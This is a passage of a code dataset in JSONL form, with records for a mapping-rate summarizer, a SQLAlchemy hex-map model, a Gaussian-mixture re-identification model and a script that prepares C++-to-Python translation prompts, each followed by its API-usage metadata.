"call"}, {"api_name": "radis.calc_spectrum", "line_number": 87, "usage_type": "call"}, {"api_name": "tracemalloc.take_snapshot", "line_number": 99, "usage_type": "call"}, {"api_name": "tracemalloc.get_traced_memory", "line_number": 100, "usage_type": "call"}, {"api_name": "tracemalloc.stop", "line_number": 101, "usage_type": "call"}, {"api_name": "tracemalloc.clear_traces", "line_number": 119, "usage_type": "call"}, {"api_name": "radis.config", "line_number": 121, "usage_type": "name"}]}
{"seq_id": "24766132691", "text": "#!/usr/bin/env python\n\nimport argparse\nfrom pathlib import Path\n\n# we need to glob all the files endind in '.mappingrates', extract the input reads and output reads and keep sample in memory.\n\ndef get_arguments():\n    \"\"\"\n    Get commandline arguments and return namespace\n    \"\"\"\n    # Initialize Parser\n    parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n    parser.add_argument('-i', '--input', help='Path to the mapping rates folder. Expects samples folder with *.mappingrates files.', required=True, type=str)\n    parser.add_argument('-o', '--output', help='Path to the ouptut table.', required=True, type=str)\n    return parser.parse_args()\n\ndef main(args):\n    \"\"\"\n    glob the given directory\n    \"\"\"\n    input_path = Path(args.input)\n    if not input_path.exists():\n        raise FileNotFoundError(\"Couldn't find the error file...\")\n    res = []\n    for f in input_path.glob(\"*/1mappingrates/*/*.mappingrates\"):\n        print(\"Processing file {}\".format(f))\n        sample = f.parent.parent.parent.name\n        bamname = f.name\n        with open(f) as handle:\n            for line in handle:\n                if line.startswith(\"Input Reads\"):\n                    input_reads = line.strip().split('\\t')[-1]\n                if line.startswith(\"Output Reads\"):\n                    output_reads = line.strip().split('\\t')[-1]\n            res.append(\"\\t\".join([sample, bamname, input_reads, output_reads]))\n    with open(args.output, \"w\") as target:\n        target.write(\"\\t\".join([\"Sample\", \"File\", \"Input_Reads\", \"Output_Reads\"]) + \"\\n\")\n        target.write(\"\\n\".join(res) + \"\\n\")\n\nif __name__ == '__main__':\n    args = get_arguments()\n    main(args) \n", "repo_name": "SushiLab/magpipe", "sub_path": "sandbox/summarize_mapping_rates.py", "file_name": "summarize_mapping_rates.py", "file_ext": "py", "file_size_in_byte": 1700, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 16, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 13, "usage_type": "call"}, {"api_name": "argparse.ArgumentDefaultsHelpFormatter", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 22, "usage_type": "call"}]}
{"seq_id": "39175443187", "text": "#\n#\n#\nfrom sqlalchemy import Column, Integer, ForeignKey\nfrom sqlalchemy.orm import composite, relationship\n\nfrom sqlbase import SqlBase\nfrom vector import Vector\n\nclass Location(SqlBase):\n\n    __tablename__ = \"locations\"\n\n    id = Column(Integer, primary_key=True)\n    map_id = Column(Integer, ForeignKey(\"maps.id\"))\n    hx = Column(Integer)\n    hy = Column(Integer)\n\n    vector = composite(Vector, hx, hy)\n\n    def __init__(self, hx, hy):\n        self.hx = hx\n        self.hy = hy\n\n\n    def __repr__(self):\n        return str(self.vector)\n", "repo_name": "markllama/hexgame-research", "sub_path": "python2/src/hexmap/location.py", "file_name": "location.py", "file_ext": "py", "file_size_in_byte": 541, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sqlbase.SqlBase", "line_number": 10, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 14, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 14, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 15, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 15, "usage_type": "argument"}, {"api_name": "sqlalchemy.ForeignKey", "line_number": 15, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 16, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 16, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 17, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 17, "usage_type": "argument"}, {"api_name": "sqlalchemy.orm.composite", "line_number": 19, "usage_type": "call"}, {"api_name": "vector.Vector", "line_number": 19, "usage_type": "argument"}]}
{"seq_id": "43861821300", "text": "from sklearn.mixture import GaussianMixture\nimport numpy as np\nimport random\n\n\ndef normalize(x, mu, var, thres=1):\n    offset = abs(x - mu) + thres\n    return 1 / (np.sqrt(2 * np.pi * var)) * np.exp(- offset ** 2 / (2 * var))\n\n\nclass GMM(object):\n    def __init__(self, num, weights, means, covariances):\n        self.num = num\n        self.weights = weights\n        self.means = means\n        self.covariances = covariances\n        self.n = len(weights)\n\n    def val(self, x):\n        y = 0\n        for i in range(self.n):\n            y += self.weights[i] * normalize(x, self.means[i], self.covariances[i])\n        return y * self.num\n    \n    def gate(self, x, alpha=0.05):\n        for i in range(self.n):\n            if self.weights[i] < alpha: continue\n            if (x - self.means[i]) ** 2 < 9 * self.covariances[i]: return True\n        return False\n    \n    def toGaussianMixture(self):\n        g = GaussianMixture(self.n)\n        g.fit(np.random.rand(2 * self.n).reshape((-1, 1)))\n        g.weights_ = np.array(self.weights)\n        g.means_ = np.array(self.means)[:, np.newaxis]\n        g.covariances_ = np.array(self.covariances)[:, np.newaxis, np.newaxis]\n        return g\n\n\ndef div_uni(g1, g2, denominator):\n    # g1 / (g2 * denominator)\n    if g2.num == 0: return GMM(0, [], [], [])\n    w_s, mu_s, var_s = [], [], []\n    for i in range(g1.n):\n        w1, w2 = g1.weights[i], g2.weights[0]\n        mu1, mu2 = g1.means[i], g2.means[0]\n        var1, var2 = g1.covariances[i], g2.covariances[0]\n        if var1 >= var2: continue\n        var = var1 * var2 / (var2 - var1)\n        w_s.append((w1 / w2) / (var1 / var2) ** 0.25 * np.exp((mu1 - mu2) ** 2 / (var2 - var1)) * 2 * np.pi * var ** 0.25)\n        mu_s.append((mu1 * var2 - mu2 * var1) / (var2 - var1))\n        var_s.append(var)\n    w_sum = sum(w_s)\n    num = w_sum * g1.num / (g2.num * denominator)\n    w_s = [wi / w_sum for wi in w_s]\n    return GMM(num, w_s, mu_s, var_s)\n\n\nclass Distribution(object):\n    def __init__(self, cam_num, n=1):\n        self.cam_num = cam_num\n\n        self.deltas, self.fits = [], []\n        for i in range(cam_num):\n            delta_row, fit_row = [], []\n            for j in range(i + 1):\n                delta_row.append([])\n            self.deltas.append(delta_row)\n            self.fits.append(fit_row)\n\n        self.n = n\n\n    def update(self, c1, c2, t1, t2):\n        c1r, c2r = (c1, c2) if c1 > c2 else (c2, c1)\n        t1, t2 = (t1, t2) if c1 > c2 else (t2, t1)\n        delta = t1 - t2 if c1 != c2 or random.random() < 0.5 else t2 - t1\n        self.deltas[c1r][c2r].append(delta)\n\n    def estimate(self):\n        g = GaussianMixture(n_components=self.n)\n        for i in range(self.cam_num):\n            for j in range(i + 1):\n                total = len(self.deltas[i][j])\n                try:\n                    g.fit(np.array(self.deltas[i][j]).reshape(-1, 1))\n                    gmm = GMM(total, g.weights_, g.means_[:, 0], g.covariances_[:, 0, 0])\n                except:\n                    gmm = GMM(0, [], [], [])\n                finally:\n                    self.fits[i].append(gmm)\n                    \n    def in_delta(self, c1, c2, t1, t2):\n        c1r, c2r = (c1, c2) if c1 > c2 else (c2, c1)\n        t1, t2 = (t1, t2) if c1 > c2 else (t2, t1)\n        return (t1 - t2) in self.deltas[c1r][c2r]\n                    \n    def in_peak(self, c1, c2, t1, t2, alpha=0.1):\n        c1r, c2r = (c1, c2) if c1 > c2 else (c2, c1)\n        t1, t2 = (t1, t2) if c1 > c2 else (t2, t1)\n        return self.fits[c1r][c2r].gate(t1 - t2, alpha)\n    \n    def val(self, c1, c2, t1, t2):\n        c1r, c2r = (c1, c2) if c1 > c2 else (c2, c1)\n        t1, t2 = (t1, t2) if c1 > c2 else (t2, t1)\n        return self.fits[c1r][c2r].val(t1 - t2)\n\n\ndef ln(x, thres=1e-6):\n    return np.log(x + thres)\n\nclass ST_Model(object):\n    def __init__(self, cam_num, n=5):\n        self.cam_num = cam_num\n        self.n = n\n        self.probs = None\n        self.same_rate = 0\n\n    def fit(self, dataset, sample_num=10000000):\n        # n(ST, same) / (n(ST) * p(same))\n        same = Distribution(self.cam_num, self.n)\n        total = Distribution(self.cam_num, 1)\n\n        cluster_by_pid, cam_count = {}, [0] * self.cam_num\n        for (_, pid, cam, timestamp) in dataset:\n            if pid not in cluster_by_pid:\n                cluster_by_pid[pid] = []\n            cluster_by_pid[pid].append((cam, timestamp))\n            cam_count[cam] += 1\n\n        same_num = 0\n        for cluster in cluster_by_pid.values():\n            l = len(cluster)\n            for i in range(l):\n                for j in range(i):\n                    same.update(cluster[i][0], cluster[j][0], cluster[i][1], cluster[j][1])\n            same_num += l * (l - 1) / 2\n        same.estimate()\n\n        l = len(dataset)\n        for _ in range(sample_num):\n            i = random.randint(0, l - 1)\n            j = random.randint(0, l - 1)\n            if i == j: continue\n            total.update(dataset[i][2], dataset[j][2], dataset[i][3], dataset[j][3])\n        total.estimate()\n\n        for i in range(self.cam_num):\n            for j in range(i):\n                total.fits[i][j].num = cam_count[i] * cam_count[j]\n            total.fits[i][i].num = cam_count[i] * (cam_count[i] - 1) / 2\n        total_img = sum(cam_count)\n        total_num = total_img * (total_img - 1) / 2\n\n        self.same_rate = same_num / total_num\n\n        self.probs = []\n        for i in range(self.cam_num):\n            prob_row = []\n            for j in range(i + 1):\n                prob = div_uni(same.fits[i][j], total.fits[i][j], self.same_rate)\n                prob_row.append(prob)\n            self.probs.append(prob_row)\n            \n        return same, total\n\n    def apply(self, distmat, query, gallery):\n        # d = d + d_mean * ln(p) / ln(same_rate)\n        d_mean, d_var = distmat.mean(), distmat.var()\n#         print('d_mean = %f, d_var = %f, same_rate = %e' % (d_mean, d_var, self.same_rate))\n        for i, (_, _, c1, t1) in enumerate(query):\n            for j, (_, _, c2, t2) in enumerate(gallery):\n                c1r, c2r = (c1, c2) if c1 > c2 else (c2, c1)\n                t1, t2 = (t1, t2) if c1 > c2 else (t2, t1)\n                p = self.probs[c1r][c2r].val(t1 - t2)\n                distmat[i][j] += d_mean * ln(p) / ln(self.same_rate)\n        return distmat\n\n    def in_peak(self, c1, c2, t1, t2, alpha=0.1):\n        c1r, c2r = (c1, c2) if c1 > c2 else (c2, c1)\n        t1, t2 = (t1, t2) if c1 > c2 else (t2, t1)\n        return self.probs[c1r][c2r].gate(t1 - t2, alpha)\n    \n    def val(self, c1, c2, t1, t2):\n        c1r, c2r = (c1, c2) if c1 > c2 else (c2, c1)\n        t1, t2 = (t1, t2) if c1 > c2 else (t2, t1)\n        return self.probs[c1r][c2r].val(t1 - t2)\n    \n    def on_peak(self, c1, c2, t1, t2):\n        return self.in_peak(c1, c2, t1, t2, 0.2)\n\n\nclass ST_Model_KNN(ST_Model):\n    def __init__(self, cam_num, ranking, n=5):\n        super(ST_Model_KNN, self).__init__(cam_num, n)\n        self.ranking = ranking\n\n    def fit(self, dataset, g, b, sample_num=10000000):\n        # n(ST, same) / (n(ST) * p(same))\n        same = Distribution(self.cam_num, self.n)\n        total = Distribution(self.cam_num, 1)\n\n        cam_count = [0] * self.cam_num\n        for (_, _, cam, _) in dataset:\n            cam_count[cam] += 1\n\n        same_num = 0\n        for i in range(len(dataset)):\n            for j_ in range(b):\n                j = self.ranking[i][j_]\n                if i > j and g(i, j):\n                    same.update(dataset[i][2], dataset[j][2], dataset[i][3], dataset[j][3])\n                    same_num += 1\n        same.estimate()\n\n        l = len(dataset)\n        for _ in range(sample_num):\n            i = random.randint(0, l - 1)\n            j = random.randint(0, l - 1)\n            if i == j: continue\n            total.update(dataset[i][2], dataset[j][2], dataset[i][3], dataset[j][3])\n        total.estimate()\n\n        for i in range(self.cam_num):\n            for j in range(i):\n                total.fits[i][j].num = cam_count[i] * cam_count[j]\n            total.fits[i][i].num = cam_count[i] * (cam_count[i] - 1) / 2\n        total_img = sum(cam_count)\n        total_num = total_img * (total_img - 1) / 2\n\n        self.same_rate = same_num / total_num\n\n        self.probs = []\n        for i in range(self.cam_num):\n            prob_row = []\n            for j in range(i + 1):\n                prob = div_uni(same.fits[i][j], total.fits[i][j], self.same_rate)\n                prob_row.append(prob)\n            self.probs.append(prob_row)\n            \n        return same, total", "repo_name": "feifeiobama/STReID", "sub_path": "reid/st_model.py", "file_name": "st_model.py", "file_ext": "py", "file_size_in_byte": 8559, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.sqrt", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 8, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 8, "usage_type": "call"}, {"api_name": "sklearn.mixture.GaussianMixture", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 33, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 35, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 36, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 50, "usage_type": "attribute"}, {"api_name": "random.random", "line_number": 76, "usage_type": "call"}, {"api_name": "sklearn.mixture.GaussianMixture", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 109, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 141, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 142, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 217, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 218, "usage_type": "call"}]}
{"seq_id": "13846562064", "text": "\"\"\"\nSimilar as prepare_prompts_json.py, but for transcoder dataset (specifically C++ - Python)\n\"\"\"\n\nimport argparse\nimport os.path\nimport sys\n\nimport pandas as pd\nfrom typing import List, Optional\n\nfrom codegen_sources.model.src.utils import TREE_SITTER_ROOT\nfrom codegen_sources.preprocessing.lang_processors.lang_processor import LangProcessor\nfrom dataset_builder.generic_translator import add_few_shot, modify_translation_prompt\nfrom dataset_builder.utils import bool_flag, get_multi_vew_acronym, CANONICAL2SHORT, cap, \\\n    SHORT2CANONICAL\nfrom generic_translator import list_originals, translate_prompt_and_tests, get_stop_from_translator\nfrom pathlib import Path\nimport json\n\nfrom translate_async import extract_gold_signature\n\nlang2ext={\n    \"java\": \"java\",\n    \"cpp\": \"cpp\",\n    \"python\": \"py\"\n}\n\nCPP_TO_PY_TYPE_MAP={\n    \"void\": \"None\",\n    \"int\": \"int\",\n    \"short\": \"int\",\n    \"long\": \"int\",\n    \"signed\": \"int\",\n    \"unsigned\": \"int\",\n    \"bool\": \"bool\",\n    \"char\": \"str\",\n    \"float\": \"float\",\n    \"double\": \"float\",\n    \"string\": \"str\",\n}\n\narray_map1 = {f\"{basic_type}[]\": f\"List[{py_type}]\" for basic_type, py_type in CPP_TO_PY_TYPE_MAP.items()}\narray_map2 = {f\"{basic_type}*\": f\"List[{py_type}]\" for basic_type, py_type in CPP_TO_PY_TYPE_MAP.items()}\nCPP_TO_PY_TYPE_MAP.update(array_map1)\nCPP_TO_PY_TYPE_MAP.update(array_map2)\nCPP_TO_PY_TYPE_MAP[\"char*\"] = \"str\"\n\n\ndef cpp2py(cpp_type: str):\n    cpp_type = cpp_type.replace(\"&\", \"\").replace(\"ll\", \"int\").strip()\n    if \"vector\" in cpp_type:\n        depth = cpp_type.count(\"vector\")\n        cpp_type = cpp_type.replace(\"vector\", \"\").replace(\"<\", \"\").replace(\">\", \"\")\n        cpp_type += \"[]\"*depth\n    if cpp_type.replace(\" \", \"\") in CPP_TO_PY_TYPE_MAP:\n        return CPP_TO_PY_TYPE_MAP[cpp_type.replace(\" \", \"\")]\n    else:\n        # nested list maybe\n        depth = cpp_type.count(\"[\")\n        if depth > 1:\n            out = CPP_TO_PY_TYPE_MAP[cpp_type.split()[0]]\n            for _ in range(depth):\n                out = f\"List[{out}]\"\n            return out\n        elif len(cpp_type.split()) > 1:  # multiple modifier to basic type(ex: unsigned long long)\n            if cpp_type.split()[-1] in CPP_TO_PY_TYPE_MAP:\n                return CPP_TO_PY_TYPE_MAP[cpp_type.split()[-1]]\n            elif \"=\" in cpp_type:  # default values\n                return cpp2py(\" \".join(cpp_type.split()[:-2]))\n        raise NotImplementedError()\n\n\ndef get_args():\n    args = argparse.ArgumentParser()\n    args.add_argument(\n        \"--src_lang\", type=str, required=False, default=\"cpp\", help=\"Language to translate from\"\n    )\n    args.add_argument(\n        \"--tgt_lang\", type=str, required=False, default=\"python\", help=\"Language to translate to\"\n    )\n    args.add_argument(\n        \"--input_program_tok_dir\", type=str, required=False, default=\"../datasets/transcoder/transcoder_test_set\",\n        help=\"Folder containing .tok files of valid and test split programs\"\n    )\n    args.add_argument(\n        \"--input_program_test_dir\", type=str, required=False, default=\"../datasets/transcoder/transcoder_evaluation_gfg_fixed\",\n        help=\"Folder containing test files (which includes gold programs as well) of valid and test split programs\"\n    )\n    args.add_argument(\n        \"--output\", type=str, required=False, default=\"../translation_prompts/cpp-python/transcoder.json\", help=\"Target JSON file\"\n    )\n    args.add_argument(\n        \"--target-signature\",\n        type=str,\n        default=\"keep\",\n        help=\"What to do with target program signature: remove (harder, not fully defined), keep (easier)\"\n    )\n    args.add_argument(\n        \"--few_shot_file\", type=str, required=False, default=None, help=\"few shot JSON file\"\n    )\n    args.add_argument(\n        \"--shots\", type=int, required=False, default=1,\n        help=\"how many shots to use\"\n    )\n    args.add_argument(\n        \"--multiturn-prompt\",\n        type=str,\n        default=\"single\",\n        help=\"what type of multiturn prompt to generate: single (single turn), steps (generate NL steps, then \"\n             \"translate), steps-cot (generate NL steps, translate each step w/ chain of thoughts provided w/ signature,\"\n             \"combine w/ signature.\"\n    )\n    args.add_argument(\n        \"--prompt-type\",\n        type=str,\n        default=\"completion\",\n        help=\"completion or chat (completion)\"\n    )\n    args.add_argument(\"--split\", type=str, default=\"valid\")\n\n    args = args.parse_args()\n    return args\n\n\ndef keep_any_test_exist_ids(test_dir: str, in_data: List[str], tgt_lang: Optional[str]=None):\n    ids = [l.split(\" | \")[0] for l in in_data]\n    tokenized_codes = [in_data[i].replace(f\"{ids[i]} | \", \"\") for i in range(len(in_data))]\n\n    keep_ids = []\n    keep_codes = []\n    tgt_langs = [\"java\", \"python\", \"cpp\"] if tgt_lang is None else [tgt_lang]\n    for i, code in zip(ids, tokenized_codes):\n        if any([os.path.isfile(f\"{test_dir}/{l}/{i}.{lang2ext[l]}\") for l in tgt_langs]):\n            keep_ids.append(i)\n            keep_codes.append(code)\n    return keep_ids, keep_codes\n\n\ndef filter_with_existing_tests(in_data, test_dir, langs):\n    common_ids = set([f.replace(f'.{langs[0]}', \"\") for f in os.listdir(f\"{test_dir}/{langs[0]}\")])\n    for lang in langs[1:]:\n        common_ids = common_ids.intersection([f.replace(f'.{lang}', \"\") for f in os.listdir(f\"{test_dir}/{SHORT2CANONICAL[lang]}\")])\n\n    filt_data = []\n    for data_line in in_data:\n        if data_line.split(\"|\")[0].strip() in common_ids:\n            filt_data.append(data_line)\n    return filt_data\n\n\n\ndef get_translation_candidates(in_dir: str, test_dir: str, split: str, src_lang: str, tgt_lang:str):\n    lang_processor = LangProcessor.processors[src_lang](root_folder=TREE_SITTER_ROOT)\n    if split == \"combine\" or split == \"eval\":\n        in_data = [l.strip() for l in open(f\"{in_dir}/transcoder_valid.{src_lang}.tok\")]\n        in_data.extend([l.strip() for l in open(f\"{in_dir}/transcoder_test.{src_lang}.tok\")])\n        if split == \"eval\":  # weird split that PaLM and self-debug paper used for evaluation\n            in_data = filter_with_existing_tests(in_data, test_dir, [src_lang, tgt_lang])\n    else:\n        in_data = [l.strip() for l in open(f\"{in_dir}/transcoder_{split}.{src_lang}.tok\")]\n    ids, tokenized_codes = keep_any_test_exist_ids(test_dir, in_data, SHORT2CANONICAL[tgt_lang])\n    codes = [lang_processor.detokenize_code(c) for c in tokenized_codes]\n    return zip(ids, codes)\n\n\ndef ensure_tokenization(function):\n    # some manual way of correcting un-tokenized input function string to avoid weird error output\n    if \" ( \" not in function:\n        function = function.replace(\"(\", \" ( \", 1)\n    if \" ) \" not in function:\n        function = function.replace(\")\", \" ) \", 1)\n    return function\n\n\ndef add_type_cpp_to_python_signature(py_sig, cpp_sig):\n    cpp_processor = LangProcessor.processors[\"cpp\"](root_folder=TREE_SITTER_ROOT)\n    cpp_fname = cpp_processor.get_function_name(cpp_sig)\n    cpp_inputs = cpp_processor.extract_arguments(cpp_sig)\n    cpp_output_type = cpp_sig[:cpp_sig.find(cpp_fname)].replace(\"public\", \"\").replace(\":\",\"\").strip()\n    py_processor = LangProcessor.processors[\"python\"](root_folder=TREE_SITTER_ROOT)\n\n    py_sig = ensure_tokenization(py_sig)\n    py_inputs = py_processor.extract_arguments(py_sig)\n    py_output_type = cpp2py(cpp_output_type)\n    assert len(cpp_inputs[0]) == len(py_inputs[0]) and len(cpp_inputs[1]) == len(py_inputs[1])\n    py_typed_inputs = []\n    for i, (py_input, cpp_input_type) in enumerate(zip(py_inputs[1], cpp_inputs[0])):\n        if \"=\" in py_input or \"=\" in cpp_input_type:\n            # if there is default value, transcoder parser doesn't work all the time, need messy parsing\n            var_name, var_default = None, None\n            for var_str in [py_input, cpp_input_type]:\n                if \"=\" in var_str:\n                    if var_name is None:\n                        var_name = var_str.split(\"=\")[0].split()[-1]\n                    right_side = var_str.split(\"=\")[1].strip()\n                    if len(right_side) > 0:\n                        var_default = right_side\n            if var_default is None and cpp_inputs[1][i].strip() != \"\":\n                var_default = cpp_inputs[1][i].strip()\n            if var_default is not None:\n                py_typed_input = f\"{var_name}: {cpp2py(cpp_input_type)}={var_default}\"\n            else:\n                py_typed_input = f\"{var_name}: {cpp2py(cpp_input_type)}\"\n        else:\n            py_typed_input = f\"{py_input.strip()}: {cpp2py(cpp_input_type)}\"\n        py_typed_inputs.append(py_typed_input)\n    py_typed_inputs = \", \".join(py_typed_inputs)\n    typed_py_sig = py_sig[:py_sig.find(\"(\")+1] + py_typed_inputs + py_sig[py_sig.find(\")\"):]\n    typed_py_sig = typed_py_sig.strip()[:-1] + f\" -> {py_output_type}:\"\n    if any([w in py_typed_inputs for w in [\"List[\", \"Dict[\"]]):\n        typed_py_sig = \"from typing import *\\n\\n\" + typed_py_sig\n    return typed_py_sig\n\n\ndef extract_transcoder_prompt_and_tests(pid, code, test_dir, target_signature, src_lang, tgt_lang, few_shots, shots):\n    if tgt_lang == \"py\":\n        test_path = f\"{test_dir}/python/{pid}.{tgt_lang}\"\n    else:\n        test_path = f\"{test_dir}/{tgt_lang}/{pid}.{tgt_lang}\"\n\n    # In reality, we will evaluate using transcoder eval, so these tests varaibles don't\n    # really matter, what matters is that the prompt is correct\n    if target_signature == \"keep\":\n        tgt_sig = extract_gold_signature(test_path, src_code=code)\n    elif target_signature == \"typed\":\n        tgt_sig = extract_gold_signature(test_path, src_code=code)\n        if tgt_sig != \"\":\n            tgt_sig = add_type_cpp_to_python_signature(tgt_sig, code.strip().split(\"\\n\")[0])\n    else:\n        if tgt_lang == \"py\":\n            tgt_sig = \"def\"\n        else:\n            raise NotImplementedError()\n    if tgt_sig == \"\":\n        return None\n\n    prompt_str = f\"### {cap(SHORT2CANONICAL[src_lang])} version\\n\\n{code.strip()}\\n\\n\" \\\n                 f\"### {cap(SHORT2CANONICAL[tgt_lang])} version\\n\\n{tgt_sig}\"\n\n    translated_prompt = add_few_shot(prompt_str, few_shots, shots, tgt_lang)\n    if translated_prompt is None:  # when the problem is in few shot\n        return None\n\n    return translated_prompt, \"\"\n\n\ndef main(args):\n    translator = __import__(f\"humaneval_to_{args.tgt_lang}\").Translator()\n\n    if args.src_lang not in [\"cpp\", \"py\", \"java\"]:\n        print(f\"Invalid source lang option: {args.src_lang}\")\n        sys.exit(1)\n\n    if args.tgt_lang not in [\"cpp\", \"py\", \"java\"]:\n        print(f\"Invalid target lang option: {args.src_lang}\")\n        sys.exit(1)\n\n    if args.target_signature not in [\"keep\", \"remove\", \"typed\"]:\n        print(f\"Invalid target signature option: {args.src_lang}\")\n        sys.exit(1)\n\n    if args.few_shot_file is not None:\n        if args.few_shot_file.endswith(\".csv\"):\n            few_shot_data = pd.read_csv(args.few_shot_file)\n        elif args.few_shot_file.endswith(\".jsonl\"):\n            few_shot_data = [json.loads(l) for l in open(args.few_shot_file)]\n        else:\n            assert args.few_shot_file.endswith(\".txt\") and args.prompt_type == \"completion\"\n            few_shot_data = open(args.few_shot_file).read()\n\n    else:\n        few_shot_data, args.few_shot_file = [], \"\"\n\n    translation_candidates = get_translation_candidates(args.input_program_tok_dir, args.input_program_test_dir, args.split, args.src_lang, args.tgt_lang)\n\n    os.makedirs(Path(args.output).parent, exist_ok=True)\n    results = [ ]\n    for original in translation_candidates:\n        original_name, original_program = original\n        print(f\"Processing {original_name}...\")\n\n        few_shot = few_shot_data if isinstance(few_shot_data, list) or isinstance(few_shot_data, str) else \\\n            few_shot_data.loc[original_name]\n        result = extract_transcoder_prompt_and_tests(\n            original_name, original_program, args.input_program_test_dir, args.target_signature, args.src_lang, args.tgt_lang,\n            [] if \"MT\" in args.few_shot_file else few_shot, args.shots\n        )\n        if result is None:\n            print(f\"Skipping {original_name}\")\n            continue\n\n        (prompt, tests) = result\n        problem = {\n            \"name\": original_name,\n            \"language\": args.tgt_lang,\n            \"prompt\": prompt,\n            \"tests\": tests,\n            \"stop_tokens\": get_stop_from_translator(translator),  # TODO may only work for python\n        }\n        problem = modify_translation_prompt(problem, args.multiturn_prompt,\n                                            few_shot if \"MT\" in args.few_shot_file else [], args.shots,\n                                            src_lang=cap(SHORT2CANONICAL[args.src_lang]),\n                                            multi_view_files=[])\n        if problem is None:\n            print(f\"skipping {original_name}\")\n            continue\n\n        results.append(problem)\n    with open(args.output, \"w\") as f:\n        json.dump(results, f, indent=2)\n\n\nif __name__ == \"__main__\":\n    args = get_args()\n    args.src_lang = \"cpp\"\n    args.tgt_lang = \"py\"\n    args.few_shot_file = f\"../few_shot_prompts/{args.tgt_lang}/{args.src_lang}-{args.tgt_lang}_translate.txt\"\n    args.shots = 0\n    args.target_signature = \"typed\"\n    args.multiturn_prompt = \"explain\"\n    args.prompt_type = \"completion\"\n    args.split=\"eval\"\n    args.input_program_tok_dir = \"../../decompose-and-translate/data/transcoder_test_set\"\n    args.input_program_test_dir = \"../../CodeGenMirror/data/transcoder_evaluation_gfg\"\n\n    ds_name = args.input_program_tok_dir.split('/')[-1].replace(\"_test_set\", \"\")+\"_\"+args.split\n    args.output = f\"../translation_prompts/{args.src_lang}-{args.tgt_lang}/{ds_name}-{args.src_lang}-{args.tgt_lang}\"\n    if args.target_signature != \"remove\":\n        args.output += f\"-TS{args.target_signature}\"\n    if args.multiturn_prompt != \"single\":\n        args.output += f\"-MT{args.multiturn_prompt}\"\n        if args.multiturn_prompt == \"multi-view\":\n            args.output += \"_\" + get_multi_vew_acronym(args.multi_view_dirs)\n    if args.few_shot_file is not None and args.shots > 0:\n        args.output += f\"-{args.shots}shot\"\n    if args.prompt_type == \"completion\":\n        args.output += f\"-completion\"\n    args.output += \".json\"\n    main(args)\n", "repo_name": "PootieT/explain-then-translate", "sub_path": "MultiPL-C2C/dataset_builder/prepare_prompts_json_transcoder.py", "file_name": "prepare_prompts_json_transcoder.py", "file_ext": "py", "file_size_in_byte": 14263, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 75, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 126, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 126, "usage_type": "name"}, {"api_name": "os.path.path.isfile", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 134, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 134, "usage_type": "name"}, {"api_name": "os.path.listdir", "line_number": 141, "usage_type": "call"}, {"api_name": "os.path", "line_number": 141, "usage_type": "name"}, {"api_name": "os.path.listdir", "line_number": 143, "usage_type": "call"}, {"api_name": "os.path", "line_number": 143, "usage_type": "name"}, {"api_name": "dataset_builder.utils.SHORT2CANONICAL", "line_number": 143, "usage_type": "name"}, {"api_name": "codegen_sources.preprocessing.lang_processors.lang_processor.LangProcessor.processors", "line_number": 154, "usage_type": "attribute"}, {"api_name": "codegen_sources.preprocessing.lang_processors.lang_processor.LangProcessor", "line_number": 154, "usage_type": "name"}, {"api_name": "codegen_sources.model.src.utils.TREE_SITTER_ROOT", "line_number": 154, "usage_type": "name"}, {"api_name": "dataset_builder.utils.SHORT2CANONICAL", "line_number": 162, "usage_type": "name"}, {"api_name": "codegen_sources.preprocessing.lang_processors.lang_processor.LangProcessor.processors", "line_number": 177, "usage_type": "attribute"}, {"api_name": "codegen_sources.preprocessing.lang_processors.lang_processor.LangProcessor", "line_number": 177, "usage_type": "name"}, {"api_name": "codegen_sources.model.src.utils.TREE_SITTER_ROOT", "line_number": 177, "usage_type": "name"}, {"api_name": "codegen_sources.preprocessing.lang_processors.lang_processor.LangProcessor.processors", "line_number": 181, "usage_type": "attribute"}, {"api_name": "codegen_sources.preprocessing.lang_processors.lang_processor.LangProcessor", "line_number": 181, "usage_type": "name"}, {"api_name": "codegen_sources.model.src.utils.TREE_SITTER_ROOT", "line_number": 181, "usage_type": "name"}, {"api_name": 